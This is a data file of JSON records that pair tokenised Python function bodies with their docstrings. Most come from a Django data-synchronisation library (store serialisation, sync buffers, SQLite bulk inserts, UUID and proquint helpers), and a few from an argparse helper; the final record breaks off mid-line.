{"signature": "def normalize_quiet_arg(self, arg_strings):", "body": "if not self.has_injected_quiet(): return arg_strings<EOL>action = self._option_string_actions.get(self.quiet_flags[<NUM_LIT:0>])<EOL>if action:<EOL><INDENT>count = len(arg_strings)<EOL>new_args = []<EOL>i = <NUM_LIT:0><EOL>while i < count:<EOL><INDENT>arg_string = arg_strings[i]<EOL>if arg_string in action.option_strings:<EOL><INDENT>if (i + <NUM_LIT:1>) < count:<EOL><INDENT>narg_string = arg_strings[i + <NUM_LIT:1>]<EOL>if narg_string in self._option_string_actions:<EOL><INDENT>new_args.append(\"<STR_LIT>\".format(arg_string, action.const))<EOL><DEDENT>elif re.match(r\"<STR_LIT>\".format(action.const), narg_string):<EOL><INDENT>new_args.append(\"<STR_LIT>\".format(arg_string, narg_string))<EOL>i += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>new_args.append(\"<STR_LIT>\".format(arg_string, action.const))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_args.append(\"<STR_LIT>\".format(arg_string, action.const))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_args.append(arg_string)<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>arg_strings = new_args<EOL><DEDENT>return arg_strings<EOL>", "docstring": "This is a hack to allow `--quiet` and `--quiet DI` to work correctly,\n        basically it goes through all arg_strings and if it finds --quiet it checks\n        the next argument to see if it is some combination of DIWEC, if it is then\n        it combines it to `--quiet=ARG` and returns the modified arg_strings list\n\n        :param arg_strings: list, the raw arguments\n        :returns: list, the arg_strings changed if needed", "id": "f6254:c6:m2"}
{"signature": "def __init__(self, args):", "body": "d = defaultdict(list)<EOL>i = <NUM_LIT:0><EOL>length = len(args)<EOL>while i < length:<EOL><INDENT>if args[i].startswith(\"<STR_LIT:->\"):<EOL><INDENT>s = args[i].lstrip(\"<STR_LIT:->\")<EOL>bits = s.split(\"<STR_LIT:=>\", <NUM_LIT:1>)<EOL>if len(bits) > <NUM_LIT:1>:<EOL><INDENT>key = bits[<NUM_LIT:0>]<EOL>val = bits[<NUM_LIT:1>].strip(\"<STR_LIT>\")<EOL>d[key].append(val)<EOL><DEDENT>else:<EOL><INDENT>if i + <NUM_LIT:1> < length:<EOL><INDENT>if args[i + <NUM_LIT:1>].startswith(\"<STR_LIT:->\"):<EOL><INDENT>d[s].append(True)<EOL><DEDENT>else:<EOL><INDENT>d[s].append(args[i + <NUM_LIT:1>])<EOL>i += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>d[\"<STR_LIT:*>\"].append(args[i])<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>super(UnknownParser, self).__init__(d)<EOL>", "docstring": ":param args: list, the list of extra args returned from parse_known_args\n:returns: dict, key is the arg name (* for non positional args) and value is\n    a list of found arguments (so --foo 1 --foo 2 is supported). The value is\n    always a list", "id": "f6254:c7:m0"}
{"signature": "def make_buffer_get_request(self, expected_status=<NUM_LIT:200>, expected_count=None, **get_params):", "body": "response = self.client.get(<EOL>reverse('<STR_LIT>'),<EOL>get_params,<EOL>format='<STR_LIT>'<EOL>)<EOL>self.assertEqual(response.status_code, expected_status)<EOL>if expected_status == <NUM_LIT:200>:<EOL><INDENT>t_id = get_params.get(\"<STR_LIT>\")<EOL>if expected_count is None:<EOL><INDENT>expected_count = Buffer.objects.filter(transfer_session_id=t_id).count()<EOL><DEDENT>data = json.loads(response.content.decode())<EOL>if isinstance(data, dict) and \"<STR_LIT>\" in data:<EOL><INDENT>data = data[\"<STR_LIT>\"]<EOL><DEDENT>model_uuids = [d[\"<STR_LIT>\"] for d in data]<EOL>Buffer.objects.filter(transfer_session_id=t_id, model_uuid__in=model_uuids).delete()<EOL>errors = validate_and_create_buffer_data(data, TransferSession.objects.get(id=t_id))<EOL>self.assertFalse(errors)<EOL>self.assertEqual(expected_count, Buffer.objects.filter(transfer_session_id=t_id, model_uuid__in=model_uuids).count())<EOL>self.assertEqual(expected_count, len(data))<EOL>for record in data:<EOL><INDENT>self.assertEqual(<NUM_LIT:3>, len(record[\"<STR_LIT>\"]))<EOL><DEDENT>return data<EOL><DEDENT>", "docstring": "Make a GET request to the buffer endpoint. Warning: Deletes the local buffer instances before validating.", "id": "f6255:c6:m8"}
{"signature": "def max_parameter_substitution():", "body": "if os.path.isfile(SQLITE_VARIABLE_FILE_CACHE):<EOL><INDENT>return<EOL><DEDENT>conn = sqlite3.connect('<STR_LIT>')<EOL>low = <NUM_LIT:1><EOL>high = <NUM_LIT:1000>  <EOL>conn.execute('<STR_LIT>')<EOL>while low < high - <NUM_LIT:1>:<EOL><INDENT>guess = (low + high) // <NUM_LIT:2><EOL>try:<EOL><INDENT>statement = '<STR_LIT>' % '<STR_LIT:U+002C>'.join(['<STR_LIT:?>' for _ in range(guess)])<EOL>values = [i for i in range(guess)]<EOL>conn.execute(statement, values)<EOL><DEDENT>except sqlite3.DatabaseError as ex:<EOL><INDENT>if '<STR_LIT>' in str(ex):<EOL><INDENT>high = guess<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>low = guess<EOL><DEDENT><DEDENT>conn.close()<EOL>with open(SQLITE_VARIABLE_FILE_CACHE, '<STR_LIT:w>') as file:<EOL><INDENT>file.write(str(low))<EOL><DEDENT>", "docstring": "SQLite has a limit on the max number of variables allowed for parameter substitution. This limit is usually 999, but\ncan be compiled to a different number. This function calculates what the max is for the sqlite version running on the device.\nWe use the calculated value to chunk our SQL bulk insert statements when deserializing from the store to the app layer.", "id": "f6276:m0"}
{"signature": "def _self_referential_fk(klass_model):", "body": "for f in klass_model._meta.concrete_fields:<EOL><INDENT>if f.related_model:<EOL><INDENT>if issubclass(klass_model, f.related_model):<EOL><INDENT>return f.attname<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Return whether this model has a self ref FK, and the name for the field", "id": "f6277:m0"}
{"signature": "def serialize_into_store(self, filter=None):", "body": "_serialize_into_store(self.profile, filter=filter)<EOL>", "docstring": "Takes data from app layer and serializes the models into the store.", "id": "f6277:c0:m1"}
{"signature": "def deserialize_from_store(self):", "body": "_deserialize_from_store(self.profile)<EOL>", "docstring": "Takes data from the store and integrates into the application.", "id": "f6277:c0:m2"}
{"signature": "@receiver(post_delete)<EOL>def add_to_deleted_models(sender, instance=None, *args, **kwargs):", "body": "if issubclass(sender, SyncableModel):<EOL><INDENT>instance._update_deleted_models()<EOL><DEDENT>", "docstring": "Whenever a model is deleted, we record its ID in a separate model for tracking purposes. During serialization, we will mark\nthe model as deleted in the store.", "id": "f6280:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_or_create_shared_key(cls, force_new=False):<DEDENT>", "body": "if force_new:<EOL><INDENT>with transaction.atomic():<EOL><INDENT>SharedKey.objects.filter(current=True).update(current=False)<EOL>key = Key()<EOL>return SharedKey.objects.create(public_key=key,<EOL>private_key=key,<EOL>current=True)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return SharedKey.objects.get(current=True)<EOL><DEDENT>except SharedKey.DoesNotExist:<EOL><INDENT>key = Key()<EOL>return SharedKey.objects.create(public_key=key,<EOL>private_key=key,<EOL>current=True)<EOL><DEDENT>", "docstring": "Create a shared public/private key pair for certificate pushing,\nif the settings allow.", "id": "f6295:c7:m0"}
{"signature": "def _self_referential_fk(klass_model):", "body": "for f in klass_model._meta.concrete_fields:<EOL><INDENT>if f.related_model:<EOL><INDENT>if issubclass(klass_model, f.related_model):<EOL><INDENT>return f.attname<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Return whether this model has a self ref FK, and the name for the field", "id": "f6298:m1"}
{"signature": "def _fsic_queuing_calc(fsic1, fsic2):", "body": "return {instance: fsic2.get(instance, <NUM_LIT:0>) for instance, counter in six.iteritems(fsic1) if fsic2.get(instance, <NUM_LIT:0>) < counter}<EOL>", "docstring": "We set the lower counter between two same instance ids.\nIf an instance_id exists in one fsic but not the other we want to give that counter a value of 0.\n\n:param fsic1: dictionary containing (instance_id, counter) pairs\n:param fsic2: dictionary containing (instance_id, counter) pairs\n:return ``dict`` of fsics to be used in queueing the correct records to the buffer", "id": "f6298:m2"}
{"signature": "def _serialize_into_store(profile, filter=None):", "body": "<EOL>current_id = InstanceIDModel.get_current_instance_and_increment_counter()<EOL>with transaction.atomic():<EOL><INDENT>prefix_condition = None<EOL>if filter:<EOL><INDENT>prefix_condition = functools.reduce(lambda x, y: x | y, [Q(_morango_partition__startswith=prefix) for prefix in filter])<EOL><DEDENT>syncable_dict = _profile_models[profile]<EOL>for (_, klass_model) in six.iteritems(syncable_dict):<EOL><INDENT>new_store_records = []<EOL>new_rmc_records = []<EOL>klass_queryset = klass_model.objects.filter(_morango_dirty_bit=True)<EOL>if prefix_condition:<EOL><INDENT>klass_queryset = klass_queryset.filter(prefix_condition)<EOL><DEDENT>store_records_dict = Store.objects.in_bulk(id_list=klass_queryset.values_list('<STR_LIT:id>', flat=True))<EOL>for app_model in klass_queryset:<EOL><INDENT>try:<EOL><INDENT>store_model = store_records_dict[app_model.id]<EOL>if store_model.dirty_bit:<EOL><INDENT>store_model.conflicting_serialized_data = store_model.serialized + \"<STR_LIT:\\n>\" + store_model.conflicting_serialized_data<EOL>store_model.dirty_bit = False<EOL><DEDENT>ser_dict = json.loads(store_model.serialized)<EOL>ser_dict.update(app_model.serialize())<EOL>store_model.serialized = DjangoJSONEncoder().encode(ser_dict)<EOL>RecordMaxCounter.objects.update_or_create(defaults={'<STR_LIT>': current_id.counter},<EOL>instance_id=current_id.id,<EOL>store_model_id=store_model.id)<EOL>store_model.last_saved_instance = current_id.id<EOL>store_model.last_saved_counter = current_id.counter<EOL>store_model.deleted = False<EOL>store_model.hard_deleted = False<EOL>store_model.save()<EOL><DEDENT>except KeyError:<EOL><INDENT>kwargs = {<EOL>'<STR_LIT:id>': app_model.id,<EOL>'<STR_LIT>': DjangoJSONEncoder().encode(app_model.serialize()),<EOL>'<STR_LIT>': current_id.id,<EOL>'<STR_LIT>': current_id.counter,<EOL>'<STR_LIT>': app_model.morango_model_name,<EOL>'<STR_LIT>': app_model.morango_profile,<EOL>'<STR_LIT>': app_model._morango_partition,<EOL>'<STR_LIT>': app_model._morango_source_id,<EOL>}<EOL>self_ref_fk = _self_referential_fk(klass_model)<EOL>if self_ref_fk:<EOL><INDENT>self_ref_fk_value = getattr(app_model, self_ref_fk)<EOL>kwargs.update({'<STR_LIT>': self_ref_fk_value or '<STR_LIT>'})<EOL><DEDENT>new_store_records.append(Store(**kwargs))<EOL>new_rmc_records.append(RecordMaxCounter(store_model_id=app_model.id, instance_id=current_id.id, counter=current_id.counter))<EOL><DEDENT><DEDENT>Store.objects.bulk_create(new_store_records)<EOL>RecordMaxCounter.objects.bulk_create(new_rmc_records)<EOL>klass_queryset.update(update_dirty_bit_to=False)<EOL><DEDENT>deleted_ids = DeletedModels.objects.filter(profile=profile).values_list('<STR_LIT:id>', flat=True)<EOL>deleted_store_records = Store.objects.filter(id__in=deleted_ids)<EOL>deleted_store_records.update(dirty_bit=False, deleted=True, last_saved_instance=current_id.id, last_saved_counter=current_id.counter)<EOL>RecordMaxCounter.objects.filter(instance_id=current_id.id, store_model_id__in=deleted_ids).update(counter=current_id.counter)<EOL>new_rmc_ids = deleted_store_records.exclude(recordmaxcounter__instance_id=current_id.id).values_list(\"<STR_LIT:id>\", flat=True)<EOL>RecordMaxCounter.objects.bulk_create([RecordMaxCounter(store_model_id=r_id, instance_id=current_id.id, counter=current_id.counter) for r_id in new_rmc_ids])<EOL>DeletedModels.objects.filter(profile=profile).delete()<EOL>hard_deleted_ids = HardDeletedModels.objects.filter(profile=profile).values_list('<STR_LIT:id>', flat=True)<EOL>hard_deleted_store_records = Store.objects.filter(id__in=hard_deleted_ids)<EOL>hard_deleted_store_records.update(hard_deleted=True, serialized='<STR_LIT:{}>', conflicting_serialized_data='<STR_LIT>')<EOL>HardDeletedModels.objects.filter(profile=profile).delete()<EOL>if not filter:<EOL><INDENT>DatabaseMaxCounter.objects.update_or_create(instance_id=current_id.id, partition=\"<STR_LIT>\", defaults={'<STR_LIT>': current_id.counter})<EOL><DEDENT>else:<EOL><INDENT>for f in filter:<EOL><INDENT>DatabaseMaxCounter.objects.update_or_create(instance_id=current_id.id, partition=f, defaults={'<STR_LIT>': current_id.counter})<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Takes data from app layer and serializes the models into the store.", "id": "f6298:m3"}
{"signature": "def _deserialize_from_store(profile):", "body": "<EOL>_serialize_into_store(profile)<EOL>fk_cache = {}<EOL>with transaction.atomic():<EOL><INDENT>syncable_dict = _profile_models[profile]<EOL>excluded_list = []<EOL>for model_name, klass_model in six.iteritems(syncable_dict):<EOL><INDENT>self_ref_fk = _self_referential_fk(klass_model)<EOL>query = Q(model_name=klass_model.morango_model_name)<EOL>for klass in klass_model.morango_model_dependencies:<EOL><INDENT>query |= Q(model_name=klass.morango_model_name)<EOL><DEDENT>if self_ref_fk:<EOL><INDENT>clean_parents = Store.objects.filter(dirty_bit=False, profile=profile).filter(query).char_ids_list()<EOL>dirty_children = Store.objects.filter(dirty_bit=True, profile=profile).filter(Q(_self_ref_fk__in=clean_parents) | Q(_self_ref_fk='<STR_LIT>')).filter(query)<EOL>while len(dirty_children) > <NUM_LIT:0>:<EOL><INDENT>for store_model in dirty_children:<EOL><INDENT>try:<EOL><INDENT>app_model = store_model._deserialize_store_model(fk_cache)<EOL>if app_model:<EOL><INDENT>with mute_signals(signals.pre_save, signals.post_save):<EOL><INDENT>app_model.save(update_dirty_bit_to=False)<EOL><DEDENT><DEDENT>store_model.dirty_bit = False<EOL>store_model.save(update_fields=['<STR_LIT>'])<EOL><DEDENT>except exceptions.ValidationError:<EOL><INDENT>excluded_list.append(store_model.id)<EOL><DEDENT><DEDENT>clean_parents = Store.objects.filter(dirty_bit=False, profile=profile).filter(query).char_ids_list()<EOL>dirty_children = Store.objects.filter(dirty_bit=True, profile=profile, _self_ref_fk__in=clean_parents).filter(query)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>db_values = []<EOL>fields = klass_model._meta.fields<EOL>for store_model in Store.objects.filter(model_name=model_name, profile=profile, dirty_bit=True):<EOL><INDENT>try:<EOL><INDENT>app_model = store_model._deserialize_store_model(fk_cache)<EOL>if app_model:<EOL><INDENT>for f in fields:<EOL><INDENT>value = getattr(app_model, f.attname)<EOL>db_value = f.get_db_prep_value(value, connection)<EOL>db_values.append(db_value)<EOL><DEDENT><DEDENT><DEDENT>except exceptions.ValidationError:<EOL><INDENT>excluded_list.append(store_model.id)<EOL><DEDENT><DEDENT>if db_values:<EOL><INDENT>num_of_rows = len(db_values) // len(fields)<EOL>placeholder_tuple = tuple(['<STR_LIT:%s>' for _ in range(len(fields))])<EOL>placeholder_list = [str(placeholder_tuple) for _ in range(num_of_rows)]<EOL>with connection.cursor() as cursor:<EOL><INDENT>DBBackend._bulk_insert_into_app_models(cursor, klass_model._meta.db_table, fields, db_values, placeholder_list)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>Store.objects.exclude(id__in=excluded_list).filter(profile=profile, dirty_bit=True).update(dirty_bit=False)<EOL><DEDENT>", "docstring": "Takes data from the store and integrates into the application.", "id": "f6298:m4"}
{"signature": "@transaction.atomic()<EOL>def _queue_into_buffer(transfersession):", "body": "last_saved_by_conditions = []<EOL>filter_prefixes = Filter(transfersession.filter)<EOL>server_fsic = json.loads(transfersession.server_fsic)<EOL>client_fsic = json.loads(transfersession.client_fsic)<EOL>if transfersession.push:<EOL><INDENT>fsics = _fsic_queuing_calc(client_fsic, server_fsic)<EOL><DEDENT>else:<EOL><INDENT>fsics = _fsic_queuing_calc(server_fsic, client_fsic)<EOL><DEDENT>if not fsics:<EOL><INDENT>return<EOL><DEDENT>for instance, counter in six.iteritems(fsics):<EOL><INDENT>last_saved_by_conditions += [\"<STR_LIT>\".format(instance, counter)]<EOL><DEDENT>if fsics:<EOL><INDENT>last_saved_by_conditions = [_join_with_logical_operator(last_saved_by_conditions, '<STR_LIT>')]<EOL><DEDENT>partition_conditions = []<EOL>for prefix in filter_prefixes:<EOL><INDENT>partition_conditions += [\"<STR_LIT>\".format(prefix)]<EOL><DEDENT>if filter_prefixes:<EOL><INDENT>partition_conditions = [_join_with_logical_operator(partition_conditions, '<STR_LIT>')]<EOL><DEDENT>fsic_and_partition_conditions = _join_with_logical_operator(last_saved_by_conditions + partition_conditions, '<STR_LIT>')<EOL>where_condition = _join_with_logical_operator([fsic_and_partition_conditions, \"<STR_LIT>\".format(transfersession.sync_session.profile)], '<STR_LIT>')<EOL>with connection.cursor() as cursor:<EOL><INDENT>queue_buffer = \"\"\"<STR_LIT>\"\"\".format(outgoing_buffer=Buffer._meta.db_table,<EOL>transfer_session_id=transfersession.id,<EOL>condition=where_condition,<EOL>store=Store._meta.db_table)<EOL>cursor.execute(queue_buffer)<EOL>queue_rmc_buffer = \"\"\"<STR_LIT>\"\"\".format(outgoing_rmcb=RecordMaxCounterBuffer._meta.db_table,<EOL>transfer_session_id=transfersession.id,<EOL>record_max_counter=RecordMaxCounter._meta.db_table,<EOL>outgoing_buffer=Buffer._meta.db_table)<EOL>cursor.execute(queue_rmc_buffer)<EOL><DEDENT>", "docstring": "Takes a chunk of data from the store to be put into the buffer to be sent to another morango instance.", "id": "f6298:m5"}
{"signature": "@transaction.atomic()<EOL>def _dequeue_into_store(transfersession):", "body": "with connection.cursor() as cursor:<EOL><INDENT>DBBackend._dequeuing_delete_rmcb_records(cursor, transfersession.id)<EOL>DBBackend._dequeuing_delete_buffered_records(cursor, transfersession.id)<EOL>current_id = InstanceIDModel.get_current_instance_and_increment_counter()<EOL>DBBackend._dequeuing_merge_conflict_buffer(cursor, current_id, transfersession.id)<EOL>DBBackend._dequeuing_merge_conflict_rmcb(cursor, transfersession.id)<EOL>DBBackend._dequeuing_update_rmcs_last_saved_by(cursor, current_id, transfersession.id)<EOL>DBBackend._dequeuing_delete_mc_rmcb(cursor, transfersession.id)<EOL>DBBackend._dequeuing_delete_mc_buffer(cursor, transfersession.id)<EOL>DBBackend._dequeuing_insert_remaining_buffer(cursor, transfersession.id)<EOL>DBBackend._dequeuing_insert_remaining_rmcb(cursor, transfersession.id)<EOL>DBBackend._dequeuing_delete_remaining_rmcb(cursor, transfersession.id)<EOL>DBBackend._dequeuing_delete_remaining_buffer(cursor, transfersession.id)<EOL><DEDENT>if getattr(settings, '<STR_LIT>', True):<EOL><INDENT>_deserialize_from_store(transfersession.sync_session.profile)<EOL><DEDENT>", "docstring": "Takes data from the buffers and merges into the store and record max counters.", "id": "f6298:m6"}
{"signature": "def from_int(data):", "body": "if not isinstance(data, int) and not isinstance(data, long):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>res = []<EOL>while data > <NUM_LIT:0> or not res:<EOL><INDENT>for j in range(<NUM_LIT:5>):<EOL><INDENT>if not j % <NUM_LIT:2>:<EOL><INDENT>res += CONSONANTS[(data & <NUM_LIT>)]<EOL>data >>= <NUM_LIT:4><EOL><DEDENT>else:<EOL><INDENT>res += VOWELS[(data & <NUM_LIT>)]<EOL>data >>= <NUM_LIT:2><EOL><DEDENT><DEDENT>if data > <NUM_LIT:0>:<EOL><INDENT>res += '<STR_LIT:->'<EOL><DEDENT><DEDENT>res.reverse()<EOL>return '<STR_LIT>'.join(res)<EOL>", "docstring": ":params data: integer\n:returns: proquint made from input data\n:type data: int\n:rtype: string", "id": "f6299:m0"}
{"signature": "def to_int(data):", "body": "if not isinstance(data, basestring):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>res = <NUM_LIT:0><EOL>for part in data.split('<STR_LIT:->'):<EOL><INDENT>if len(part) != <NUM_LIT:5>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for j in range(<NUM_LIT:5>):<EOL><INDENT>try:<EOL><INDENT>if not j % <NUM_LIT:2>:<EOL><INDENT>res <<= <NUM_LIT:4><EOL>res |= CONSONANTS.index(part[j])<EOL><DEDENT>else:<EOL><INDENT>res <<= <NUM_LIT:2><EOL>res |= VOWELS.index(part[j])<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(part[j]))<EOL><DEDENT><DEDENT><DEDENT>return res<EOL>", "docstring": ":params data: proquint\n:returns: proquint decoded into an integer\n:type data: string\n:rtype: int", "id": "f6299:m1"}
{"signature": "def generate():", "body": "return from_int(int(uuid.uuid4().hex[:<NUM_LIT:8>], <NUM_LIT:16>)).replace('<STR_LIT:->', '<STR_LIT>')<EOL>", "docstring": ":returns: proquint\n:rtype: int", "id": "f6299:m2"}
{"signature": "def _multiple_self_ref_fk_check(class_model):", "body": "self_fk = []<EOL>for f in class_model._meta.concrete_fields:<EOL><INDENT>if f.related_model in self_fk:<EOL><INDENT>return True<EOL><DEDENT>if f.related_model == class_model:<EOL><INDENT>self_fk.append(class_model)<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "We check whether a class has more than 1 FK reference to itself.", "id": "f6300:m1"}
{"signature": "def add_syncable_models():", "body": "import django.apps<EOL>from morango.models import SyncableModel<EOL>from morango.manager import SyncableModelManager<EOL>from morango.query import SyncableModelQuerySet<EOL>model_list = []<EOL>for model_class in django.apps.apps.get_models():<EOL><INDENT>if issubclass(model_class, SyncableModel):<EOL><INDENT>name = model_class.__name__<EOL>if _multiple_self_ref_fk_check(model_class):<EOL><INDENT>raise InvalidMorangoModelConfiguration(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>from mptt import models<EOL>from morango.utils.morango_mptt import MorangoMPTTModel, MorangoMPTTTreeManager, MorangoTreeQuerySet<EOL>if issubclass(model_class, models.MPTTModel):<EOL><INDENT>if not issubclass(model_class, MorangoMPTTModel):<EOL><INDENT>raise InvalidMorangoModelConfiguration(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not isinstance(model_class.objects, MorangoMPTTTreeManager):<EOL><INDENT>raise InvalidMPTTManager(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not isinstance(model_class.objects.none(), MorangoTreeQuerySet):<EOL><INDENT>raise InvalidMPTTQuerySet(\"<STR_LIT>\".format(name))<EOL><DEDENT><DEDENT><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>if not isinstance(model_class.objects, SyncableModelManager):<EOL><INDENT>raise InvalidSyncableManager(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not isinstance(model_class.objects.none(), SyncableModelQuerySet):<EOL><INDENT>raise InvalidSyncableQueryset(\"<STR_LIT>\".format(name))<EOL><DEDENT>if model_class._meta.many_to_many:<EOL><INDENT>raise UnsupportedFieldType(\"<STR_LIT>\")<EOL><DEDENT>if not hasattr(model_class, '<STR_LIT>'):<EOL><INDENT>raise InvalidMorangoModelConfiguration(\"<STR_LIT>\".format(name))<EOL><DEDENT>if not hasattr(model_class, '<STR_LIT>'):<EOL><INDENT>raise InvalidMorangoModelConfiguration(\"<STR_LIT>\".format(name))<EOL><DEDENT>profile = model_class.morango_profile<EOL>_profile_models[profile] = _profile_models.get(profile, [])<EOL>if model_class.morango_model_name is not None:<EOL><INDENT>_insert_model_into_profile_dict(model_class, profile)<EOL><DEDENT><DEDENT><DEDENT>for profile, model_list in iteritems(_profile_models):<EOL><INDENT>syncable_models_dict = OrderedDict()<EOL>for model_class in model_list:<EOL><INDENT>syncable_models_dict[model_class.morango_model_name] = model_class<EOL><DEDENT>_profile_models[profile] = syncable_models_dict<EOL><DEDENT>", "docstring": "Per profile, adds each model to a dictionary mapping the morango model name to its model class.\nWe sort by ForeignKey dependencies to safely sync data.", "id": "f6300:m3"}
{"signature": "def get_default(self):", "body": "if self.has_default():<EOL><INDENT>if callable(self.default):<EOL><INDENT>default = self.default()<EOL>if isinstance(default, uuid.UUID):<EOL><INDENT>return default.hex<EOL><DEDENT>return default<EOL><DEDENT>if isinstance(self.default, uuid.UUID):<EOL><INDENT>return self.default.hex<EOL><DEDENT>return self.default<EOL><DEDENT>return None<EOL>", "docstring": "Returns the default value for this field.", "id": "f6301:c0:m7"}
{"signature": "def calculate_uuid(self):", "body": "<EOL>if self.uuid_input_fields is None:<EOL><INDENT>raise NotImplementedError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>if self.uuid_input_fields == \"<STR_LIT>\":<EOL><INDENT>return uuid.uuid4().hex<EOL><DEDENT>assert isinstance(self.uuid_input_fields, tuple), \"<STR_LIT>\"<EOL>hashable_input_vals = []<EOL>for field in self.uuid_input_fields:<EOL><INDENT>new_value = getattr(self, field)<EOL>if new_value:<EOL><INDENT>hashable_input_vals.append(str(new_value))<EOL><DEDENT><DEDENT>hashable_input = \"<STR_LIT::>\".join(hashable_input_vals)<EOL>if not hashable_input:<EOL><INDENT>return uuid.uuid4().hex<EOL><DEDENT>return sha2_uuid(hashable_input)<EOL>", "docstring": "Should return a 32-digit hex string for a UUID that is calculated as a function of a set of fields from the model.", "id": "f6301:c1:m0"}
{"signature": "def _bulk_insert_into_app_models(self, cursor, app_model, fields, db_values, placeholder_list):", "body": "<EOL>num_of_rows_able_to_insert = self.SQLITE_MAX_VARIABLE_NUMBER // len(fields)<EOL>num_of_values_able_to_insert = num_of_rows_able_to_insert * len(fields)<EOL>value_chunks = [db_values[x:x + num_of_values_able_to_insert] for x in range(<NUM_LIT:0>, len(db_values), num_of_values_able_to_insert)]<EOL>placeholder_chunks = [placeholder_list[x: x + num_of_rows_able_to_insert] for x in range(<NUM_LIT:0>, len(placeholder_list), num_of_rows_able_to_insert)]<EOL>fields = str(tuple(str(f.attname) for f in fields)).replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL>for values, params in zip(value_chunks, placeholder_chunks):<EOL><INDENT>placeholder_str = '<STR_LIT:U+002CU+0020>'.join(params).replace(\"<STR_LIT:'>\", '<STR_LIT>')<EOL>insert = \"\"\"<STR_LIT>\"\"\".format(app_model=app_model, fields=fields, placeholder_str=placeholder_str)<EOL>cursor.execute(insert, values)<EOL><DEDENT>", "docstring": "Example query:\n`REPLACE INTO model (F1,F2,F3) VALUES (%s, %s, %s), (%s, %s, %s), (%s, %s, %s)`\nwhere values=[1,2,3,4,5,6,7,8,9]", "id": "f6302:c0:m1"}
{"signature": "def authenticate_credentials(self, userargs, password, request=None):", "body": "credentials = {<EOL>'<STR_LIT:password>': password<EOL>}<EOL>if \"<STR_LIT:=>\" not in userargs:<EOL><INDENT>credentials[get_user_model().USERNAME_FIELD] = userargs<EOL><DEDENT>else:<EOL><INDENT>for arg in userargs.split(\"<STR_LIT:&>\"):<EOL><INDENT>key, val = arg.split(\"<STR_LIT:=>\")<EOL>credentials[key] = val<EOL><DEDENT><DEDENT>user = authenticate(**credentials)<EOL>if user is None:<EOL><INDENT>raise exceptions.AuthenticationFailed('<STR_LIT>')<EOL><DEDENT>if not user.is_active:<EOL><INDENT>raise exceptions.AuthenticationFailed('<STR_LIT>')<EOL><DEDENT>return (user, None)<EOL>", "docstring": "Authenticate the userargs and password against Django auth backends.\nThe \"userargs\" string may be just the username, or a querystring-encoded set of params.", "id": "f6314:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_or_create_current_instance(cls):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>plat = platform.platform()<EOL><DEDENT>except:<EOL><INDENT>plat = \"<STR_LIT>\"<EOL><DEDENT>kwargs = {<EOL>\"<STR_LIT>\": plat,<EOL>\"<STR_LIT>\": platform.node(),<EOL>\"<STR_LIT>\": sys.version,<EOL>\"<STR_LIT>\": DatabaseIDModel.get_or_create_current_database_id(),<EOL>\"<STR_LIT>\": os.path.abspath(settings.DATABASES['<STR_LIT:default>']['<STR_LIT>']),<EOL>\"<STR_LIT>\": os.environ.get(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>}<EOL>mac = uuid.getnode()<EOL>if (mac >> <NUM_LIT>) % <NUM_LIT:2> == <NUM_LIT:0>:  <EOL><INDENT>hashable_identifier = \"<STR_LIT>\".format(kwargs['<STR_LIT>'].id, mac)<EOL>kwargs[\"<STR_LIT>\"] = hashlib.sha1(hashable_identifier.encode('<STR_LIT:utf-8>')).hexdigest()[:<NUM_LIT:20>]<EOL><DEDENT>else:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>with transaction.atomic():<EOL><INDENT>InstanceIDModel.objects.filter(current=True).update(current=False)<EOL>obj, created = InstanceIDModel.objects.get_or_create(**kwargs)<EOL>obj.current = True<EOL>obj.save()<EOL><DEDENT>return obj, created<EOL>", "docstring": "Get the instance model corresponding to the current system, or create a new\n        one if the system is new or its properties have changed (e.g. OS from upgrade).", "id": "f6317:c2:m0"}
{"signature": "def _deserialize_store_model(self, fk_cache):", "body": "klass_model = _profile_models[self.profile][self.model_name]<EOL>if self.deleted:<EOL><INDENT>if self.hard_deleted:<EOL><INDENT>try:<EOL><INDENT>klass_model.objects.get(id=self.id).delete(hard_delete=True)<EOL><DEDENT>except klass_model.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>klass_model.objects.filter(id=self.id).delete()<EOL><DEDENT>return None<EOL><DEDENT>else:<EOL><INDENT>app_model = klass_model.deserialize(json.loads(self.serialized))<EOL>app_model._morango_source_id = self.source_id<EOL>app_model._morango_partition = self.partition<EOL>app_model._morango_dirty_bit = False<EOL>try:<EOL><INDENT>app_model.cached_clean_fields(fk_cache)<EOL>return app_model<EOL><DEDENT>except exceptions.ValidationError as e:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(model=klass_model.__name__, id=app_model.id, error=e))<EOL>fk_ids = [getattr(app_model, field.attname) for 